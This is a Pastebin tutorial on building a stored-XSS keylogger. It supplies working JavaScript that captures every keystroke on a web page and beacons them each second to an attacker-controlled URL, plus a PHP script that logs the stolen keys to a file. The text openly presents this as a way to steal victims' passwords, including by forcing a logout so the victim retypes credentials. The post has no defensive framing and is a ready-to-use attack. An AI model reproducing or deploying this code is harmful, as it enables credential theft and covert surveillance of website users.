Advertisement
Dr-L0v3

::: How to make a XSS Keylogger :::

Aug 25th, 2015
714
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. XSS Keylogger
  2.  
  3. If you have never heard about XSS Keyloggers, it’s a simple way to grab informations a user type on a web page.
  4.  
  5. Keylogging is the action of recording the keys struck on a keyboard.
  6. A keylogger can be used to spy on someone, grab their passwords, read their conversations or steal their personal informations.
  7.  
  8. Cross-site scripting attacks are often overlooked by administrators and attackers but a stored XSS Keylogger can be critical.
  9. In most case the attacker will just grab the user SESSION cookie to access a website as the victim. But in some situation it comes helpful to know the password of the target.
  10.  
  11. XSS Keyloggers is a great way to deal with such problem. By logging out the target and capturing its keystrokes on next logging in you will be able to know the password.
  12.  
  13.  
  14. Javascript Keylogger
  15.  
  16. Code:
  17.  
  18. var keys = '';
  19.  
  20. document.onkeypress = function(e) {
  21. var get = window.event ? event : e;
  22. var key = get.keyCode ? get.keyCode : get.charCode;
  23. key = String.fromCharCode(key);
  24. keys += key;
  25. }
  26.  
  27. window.setInterval(function(){
  28. new Image().src = 'http://attacker.com/keylogger.php?c=' + keys;
  29. keys = '';
  30. }, 1000);
  31.  
  32. This simple Javascript code will store all key strokes in the variable keys...
  33. Every 1 seconds a request is made to the attacker server with the stored key strokes as parameter afterward keys is cleared !!!
  34.  
  35. PHP Grabber
  36.  
  37. Code:
  38.  
  39. <?php
  40.  
  41. // keylogger.php
  42.  
  43. if(!empty($_GET['c'])) {
  44. $logfile = fopen('data.txt', 'a+');
  45. fwrite($logfile, $_GET['c']);
  46. fclose($logfile);
  47. }
  48. ?>
  49.  
  50. For each requests this PHP script will grab a string contained in $_GET['c'], this string contains all new key stokes.
  51. Everything is concatenated and stored in a file data.txt.
  52.  
  53. The attacker will be able to read everything the target typed on the page !!!
  54. It’s possible to enhance both scripts to obtain more informations...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement